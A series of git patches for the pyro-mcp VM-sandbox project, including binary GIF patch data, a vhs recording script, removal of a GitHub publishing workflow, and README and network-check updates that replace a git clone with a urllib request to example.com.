z(Bj@DWfzvZ+P|)13RMVUeC_mLF8>aYG< zDpZNYcs@(v6r}c#j>M}l`|RgT@Kb9#a0!DurTQUU&mC^}!6fJYc>t9!5!C;?nW?~n z;COn^=Cgx2+_O&V$Fcz|rVF1k8m8XPeF$nZEx%tbS1|6R!Grb`DpM)A^g3s_iU^gI z07uDAeKG#th1YEcP___=D1U>~GLKgmoYMEnZ9j?eUsR7VaFR08A|4>|P-9FtH5C!C zF+WT_hy|c2jGSWv7bQkc7r}?aWl75LpIB%u4<5{Y?X&oTjJ1=|sYLjI{zZ*O_bza> zj9^F!)!;Zhvh#?A3=`lQ=PHdfg=|9j>-CHcNPOz;DILQ-v2}9}LB~hdUon~SfAIUu z(Tu-O>T%|9%_I>Gr3heCJGB#czCy_ckGLI`2f@Rgb3`=?n>=<=qXvTBN}8D~D)=?< z5P&*6j)Ln-(oWP|yIEd~>=+l@V2yT|=)yah3k{TMTO0zq9-}Ck8XY_*ggmF{m_a5e zW#H-%%!Wp|y=P`5DPVghm>SN%^@FiBTouS8{o}S6*YbB$=$MqC&uHybC);6@T+{~s z?WVOn*bbXw#1b7A$nCScKI@qp!#GP6hd>$xdA77iQdG$9&Q18Y zxXQQ@L(dvUH(b1Wc31gq$3kO=Tg7A}!2y zn3yLdJaA!E&<{jyVvd=!x-~xmT~F-aeb)Tu)!%Ax3+C)Z++zTsp0UuHtlJk2U%*k< zw&lZL0;QX*PO1+ZJcJd9%FTyY3=h@28AmhOcnVi_fs zK)rm^*4_IKZ5@UyOO%*mL^d_f?IZ2|^wy5J9LD>o2|n(}R1TV?Mf4{zP%aThjdi=Ere~u;a3VrzPm;}Q?d(!CB1w9FR62JmGX&~hiAQpysVFPJxjOL z{F|SR5V5&PA%JogVbaDfzEdZI`F>8B55pk1v#=c4A!%p&YtId6Cujxru{hnGtgi)|o$h(?R+N_(vN$550C zp9XG?$=hi~AukBBvaTSFS|IeF#iC;`H-5p3=U?6`WbqoD0%)4M|u(g1ZVA1;AU z`MU$8D$}HVHg*bw!N4WhJ{<|yPnea=?L?%V`20?)BtBQ23v{cZlbCRIKfnj*wr^`&Ay`N8?!kW*t`6a~QLLpo%1=LtZSj^3=}tc|lt>J;bxdH3Mo?+5N& zi9aq`n#-;*%h~Bi`&!9YsB+!Yb7OA{NxH}a7i8D+`^=wTGzM;Kh}u?@0mz?^_UA$< z3UGvbX;@MaqUUX(0w91)n?mW*0i&thWGD;18&Y0FrBLBg)O;CE){%Ht@hFppFzS$`J+7swV) zhFih2;510zJug`TxLv#R`__%tgzCT+S8S2-&&RHNYO8naY`uHW^WIZWm1zh+%05O*gwThIAS8rJjX?R4QASxC(D@L(vcowa9>!|MihwK;pxSRB*{@A8?0Q2`g3byD z5Y#Dnh%iT=5AKb~b>d_ybW%BC6&WJvcSw$31S&~{-feK}`+C^XHP1s#AhGNI33HeH z-9XG5I*f`87J zBhf!CE)wq|1_ z9eqiSdC5XlC?6eC$-X}TAUly6{5(HvVB`GdWNw~vBR!u9zw^y8jFWei0z)!=GpPen z^t`m{yj}h5`}6t8PIwXz?N1+aK*CdLXqP{(f^yga-pxf7bSl*oF92*XX#IWY*a&g9 zoHcZKh;7!04iiD{yu6(>2t~^bV${T&?ftB||x8uUkC{E6P5&zDmV z2;CSEx{SHvjPT-R8K)st`hAK0ur1VVa~jNwBk7y0%78!{8p53iH)H}MWXuQzTG0@m zB7{2d3?H%6hMw(3MOcW~GW~!Q2YPK#wSFh&wR@JE5WbNH+cK3YGo>XFx6C>tbQ#Si zV}PA7OBV7=UxsaQN2IsHt*qIFgMROv&35s!+*k;^es;mre6CksqI;H_E`|uPojCB^ zgLdSB7n)>*M}D@sJABKiLmL~~Ak1>FL^w)Bv;Z3|gug5hvul?DE!MO9x7|4kdvte0 zGNe|{tyljsJqfjEa6K0hO%`oWUP0q`?wAL(IP7ixODkQ=v)&6K=!g`0yBVSi$$+qa zeSV>PQM)Bso>w(fSCP8`q`{jk#<>j4SYN9Zdky=xPV3m8y#M~9>)G-o4#Y3slNKx0 zy(1_`P<8FwyJxTX{y)(r@i_{#vEm99m_c?56NRCV-3S5HpPV=xiPbs*plM@cUmVyh zAX~WC?-!ax@2d}i=3VkJj9sUj-d%Q5HB#a9oTv!A_i8Y)G~lXi-|e^9_m6^+(m_YY zTJihm)%Tw>CA`epd;8hbD~b54k1!*Q;xnv|uOr0!{~H5dLm%Tp#%@qCD+fQ8Pko#K z_NSl!$mi{AG&7JbNCRJH=U2G%=F`A$ys-6DxPVP2{o{s(0;A4 z?X2!L+Z?y8$YyCJ|5&Uc>eH5_&#P&fG)FPmQkIV)!F*Xc9z1F<=JTfU)6TsUuIx}3 zo4Xb(N+F412JEnNCqLW8lvb&fugHcu{yWGZgqxgz8Yaeq*uYT=I*x=s82~B-G^p zyMI7Ic``rW29kG?_^0$MA+fHZx7uk@0xUuB0vdz@_>xYwk@~pZ0 z-eC^k+*vX0C5<~+J@Yqk&+{*B(P2$KQEkCd?Y)JZ_QPc>(MJz2szQx&CxG69U1!i`APfXXStsBD}hqOkI=KhgC*aGt{-{#-;q%7@8!YY>w7KG zOVJNr%f6{O@}T#~XUCWcLT`2NY+3GPS?KK4d0yXWmcPQN^Oy#3(cV39bTi7928v46w}kGNm{41aNSJV5l!X9l$zE=7!$ z(VUmBWnwiC-I>^l7h}%M*#6Z1K}=@KUWiq>5qlTI?ABn4Hi;AuF?pNFwMn51w8O;r zAMW7 z@k{tz41eZL+hoMRfzT7DT5eBle6TS41}}eb+HBLAt!42x%JEj43PfBiw+;FcPb|C z+`ml3VF0b42qXd!0~>B2%;2Epd;?%4my)mk_s0K|M-mSFgAo8#$zyi`#8Q7I8BTBv zT#m3rbq;YRsB3#v_m69$^X1Hf$NFzx>MNzV6sT>xRX1?b!0$@Xz^%(q3YEhiS8r>n zf0kkOzoYj5^+f)k!KwehgEIoL;b_U=jPaa8oRK6Qk1eF}{gMN)@4=_}hdmIO5B+6w z>&hqGlM+<62wz{j?0IJLlR1a~Y_HWh>$}Gbr=j}ir$0hTW=ai*o?UQHeq5()9{D7} zbC2cuw;R8DH92PlE^pfz<=+r|BNKmTIbzr4&=&!Jue3KmYdP3=-TPcc^l(Sw=l1)1 zSDU<~-MXBQ@YyaWy7T3Z3Pm?~pZju [output-file]\n' "$0" >&2 + exit 1 +fi + +if ! command -v vhs >/dev/null 2>&1; then + printf '%s\n' 'vhs is required to render terminal recordings.' >&2 + exit 1 +fi + +ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +TAPE_FILE="$1" +OUTPUT_FILE="${2:-}" + +cd "$ROOT_DIR" +vhs validate "$TAPE_FILE" + +if [ -n "$OUTPUT_FILE" ]; then + vhs -o "$OUTPUT_FILE" "$TAPE_FILE" +else + vhs "$TAPE_FILE" +fi From 0181de2563b091330273c531d068c5010e0dfcdf Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Mon, 9 Mar 2026 22:58:29 -0300 Subject: [PATCH 06/49] Remove GitHub-specific project plumbing --- .github/workflows/publish-environments.yml | 45 ---------------------- AGENTS.md | 2 +- README.md | 6 +-- runtime_sources/README.md | 5 +-- src/pyro_mcp/cli.py | 2 +- src/pyro_mcp/ollama_demo.py | 7 ++-- src/pyro_mcp/runtime_network_check.py | 8 ++-- 7 files changed, 13 insertions(+), 62 deletions(-) delete mode 100644 .github/workflows/publish-environments.yml diff --git a/.github/workflows/publish-environments.yml b/.github/workflows/publish-environments.yml deleted file mode 100644 index e46446b..0000000 --- a/.github/workflows/publish-environments.yml +++ /dev/null @@ -1,45 +0,0 @@ -name: Publish Environments - -on: - workflow_dispatch: - release: - types: - - published - -permissions: - contents: read - -concurrency: - group: publish-environments-${{ github.ref }} - cancel-in-progress: false - -jobs: - publish: - runs-on: ubuntu-24.04 - env: - UV_CACHE_DIR: .uv-cache - OCI_REGISTRY_USERNAME: ${{ secrets.DOCKERHUB_USERNAME }} - OCI_REGISTRY_PASSWORD: ${{ secrets.DOCKERHUB_TOKEN }} - steps: - - name: Check out source - uses: actions/checkout@v4 - - - name: Set up Python - uses: actions/setup-python@v5 - with: - python-version: "3.12" - - - name: Set up uv - uses: astral-sh/setup-uv@v6 - - - name: Install project dependencies - run: make setup - - - name: Run project checks - run: make check - - - name: Build real runtime inputs - run: make runtime-materialize - - - name: Publish official environments to Docker Hub - run: make runtime-publish-official-environments-oci diff --git a/AGENTS.md b/AGENTS.md index eb3924e..bc441b4 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -34,7 +34,7 @@ This repository ships `pyro-mcp`, an MCP-compatible package for ephemeral VM lif - After heavy runtime work, reclaim local space with `rm -rf build` and `git lfs prune`. - The pre-migration `pre-lfs-*` tag is local backup material only; do not push it or it will keep the old giant blobs reachable. - Public contract documentation lives in `docs/public-contract.md`. -- Official Docker Hub publication workflow lives in `.github/workflows/publish-environments.yml`. +- Official Docker Hub publication is performed locally with `make runtime-publish-official-environments-oci`. ## Quality Gates diff --git a/README.md b/README.md index 5a804e0..d2026e3 100644 --- a/README.md +++ b/README.md @@ -213,7 +213,7 @@ Run with outbound internet enabled: ```bash pyro run debian:12 --network -- \ - "git clone --depth 1 https://github.com/octocat/Hello-World.git hello-world && git -C hello-world rev-parse --is-inside-work-tree" + 'python3 -c "import urllib.request; print(urllib.request.urlopen(\"https://example.com\", timeout=10).status)"' ``` Show runtime and host diagnostics: @@ -345,9 +345,7 @@ make dist-check Contributor runtime source artifacts are still maintained under `src/pyro_mcp/runtime_bundle/` and `runtime_sources/`. -Official environment publication is automated through -`.github/workflows/publish-environments.yml`. -For a local publish against Docker Hub: +Official environment publication is performed locally against Docker Hub: ```bash export DOCKERHUB_USERNAME='your-dockerhub-username' diff --git a/runtime_sources/README.md b/runtime_sources/README.md index 0c7fccb..e304096 100644 --- a/runtime_sources/README.md +++ b/runtime_sources/README.md @@ -18,14 +18,13 @@ Materialization workflow: Official environment publication workflow: 1. `make runtime-materialize` 2. `DOCKERHUB_USERNAME=... DOCKERHUB_TOKEN=... make runtime-publish-official-environments-oci` -3. or run the repo workflow at `.github/workflows/publish-environments.yml` with Docker Hub credentials -4. if your uplink is slow, tune publishing with `PYRO_OCI_UPLOAD_TIMEOUT_SECONDS`, `PYRO_OCI_UPLOAD_CHUNK_SIZE_BYTES`, and `PYRO_OCI_REQUEST_TIMEOUT_SECONDS` +3. if your uplink is slow, tune publishing with `PYRO_OCI_UPLOAD_TIMEOUT_SECONDS`, `PYRO_OCI_UPLOAD_CHUNK_SIZE_BYTES`, and `PYRO_OCI_REQUEST_TIMEOUT_SECONDS` Official end-user pulls are anonymous; registry credentials are only required for publishing. Build requirements for the real path: - `docker` -- outbound network access to GitHub and Debian snapshot mirrors +- outbound network access to the pinned upstream release hosts and Debian snapshot mirrors - enough disk for a kernel build plus 2G ext4 images per source profile Kernel build note: diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index 5edf3be..fc88f82 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -298,7 +298,7 @@ def _build_parser() -> argparse.ArgumentParser: """ Examples: pyro run debian:12 -- git --version - pyro run debian:12 --network -- git ls-remote https://github.com/octocat/Hello-World.git + pyro run debian:12 --network -- python3 -c "import urllib.request as u; print(u.urlopen('https://example.com').status)" The guest command output and the [run] summary are written to different streams, so they may appear in either order. Use --json for a deterministic diff --git a/src/pyro_mcp/ollama_demo.py b/src/pyro_mcp/ollama_demo.py index a02fdef..9007660 100644 --- a/src/pyro_mcp/ollama_demo.py +++ b/src/pyro_mcp/ollama_demo.py @@ -23,11 +23,10 @@ __all__ = ["Pyro", "run_ollama_tool_demo"] DEFAULT_OLLAMA_BASE_URL: Final[str] = "http://localhost:11434/v1" DEFAULT_OLLAMA_MODEL: Final[str] = "llama3.2:3b" MAX_TOOL_ROUNDS: Final[int] = 12 -CLONE_TARGET_DIR: Final[str] = "hello-world" NETWORK_PROOF_COMMAND: Final[str] = ( - "rm -rf hello-world " - "&& git clone --depth 1 https://github.com/octocat/Hello-World.git hello-world >/dev/null " - "&& git -C hello-world rev-parse --is-inside-work-tree" + 'python3 -c "import urllib.request as u; ' + "print(u.urlopen('https://example.com').status)" + '"' ) TOOL_SPECS: Final[list[dict[str, Any]]] = [ diff --git a/src/pyro_mcp/runtime_network_check.py b/src/pyro_mcp/runtime_network_check.py index 934f593..0f7f87f 100644 --- a/src/pyro_mcp/runtime_network_check.py +++ b/src/pyro_mcp/runtime_network_check.py @@ -9,9 +9,9 @@ from pathlib import Path from pyro_mcp.api import Pyro NETWORK_CHECK_COMMAND = ( - "rm -rf hello-world " - "&& git clone --depth 1 https://github.com/octocat/Hello-World.git hello-world >/dev/null " - "&& git -C hello-world rev-parse --is-inside-work-tree" + 'python3 -c "import urllib.request as u; ' + "print(u.urlopen('https://example.com').status)" + '"' ) @@ -76,7 +76,7 @@ def main() -> None: # pragma: no cover - CLI wiring print(f"[network] execution_mode={result.execution_mode}") print(f"[network] network_enabled={result.network_enabled}") print(f"[network] exit_code={result.exit_code}") - if result.exit_code == 0 and result.stdout.strip() == "true": + if result.exit_code == 0 and result.stdout.strip() == "200": print("[network] result=success") return print("[network] result=failure") From 81636e86fb8b6d71d6c03979a00c63717d20ef34 Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Mon, 9 Mar 2026 23:06:21 -0300 Subject: [PATCH 07/49] Refresh quickstart walkthrough recording --- README.md | 61 +++++++++++++++++++++++-------------- docs/assets/first-run.gif | Bin 1609818 -> 2536868 bytes docs/assets/first-run.tape | 34 +++++++++------------ 3 files changed, 52 insertions(+), 43 deletions(-) diff --git a/README.md b/README.md index d2026e3..2fa78c9 100644 --- a/README.md +++ b/README.md @@ -24,6 +24,42 @@ It exposes the same runtime in three public forms: - Troubleshooting: [docs/troubleshooting.md](docs/troubleshooting.md) - Changelog: [CHANGELOG.md](CHANGELOG.md) +## Quickstart + +Canonical published-package path: + +```bash +python -m pip install uv +uvx --from pyro-mcp pyro doctor +uvx --from pyro-mcp pyro env pull debian:12 +uvx --from pyro-mcp pyro run debian:12 -- git --version +``` + +![Quickstart walkthrough](docs/assets/first-run.gif) + +From a repo checkout, replace `uvx --from pyro-mcp pyro` with `uv run pyro`. + +What success looks like: + +```bash +Platform: linux-x86_64 +Runtime: PASS +... +Pulled: debian:12 +... +[run] environment=debian:12 execution_mode=guest_vsock exit_code=0 duration_ms=... +git version ... +``` + +The first pull downloads an OCI environment from public Docker Hub, requires outbound HTTPS +access to `registry-1.docker.io`, and needs local cache space for the guest image. + +After the quickstart works: + +- inspect the catalog with `uvx --from pyro-mcp pyro env list` +- prove the full one-shot lifecycle with `uvx --from pyro-mcp pyro demo` +- move to Python or MCP via [docs/integrations.md](docs/integrations.md) + ## Supported Hosts Supported today: @@ -45,30 +81,9 @@ Not supported today: - Windows - Linux hosts without working KVM at `/dev/kvm` -If you do not already have `uv`, install it first: +## Detailed Walkthrough -```bash -python -m pip install uv -``` - -Published package path: - -```bash -uvx --from pyro-mcp pyro doctor -uv tool install pyro-mcp -``` - -Source checkout path: - -```bash -uv run pyro doctor -``` - -## 5-Minute Evaluation - -Use the package directly without a manual install: - -If you are running from a repo checkout instead, replace `uvx --from pyro-mcp pyro` with `uv run pyro`. +If you want the expanded version of the canonical quickstart, use the step-by-step flow below. ### 1. Check the host diff --git a/docs/assets/first-run.gif b/docs/assets/first-run.gif index 3883cc8a0d1fa5e8538ae84d580b43bd0fbac2de..981e11d5cc99cd58c9a7b8bde6b565cfdcdf155b 100644 GIT binary patch literal 2536868 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 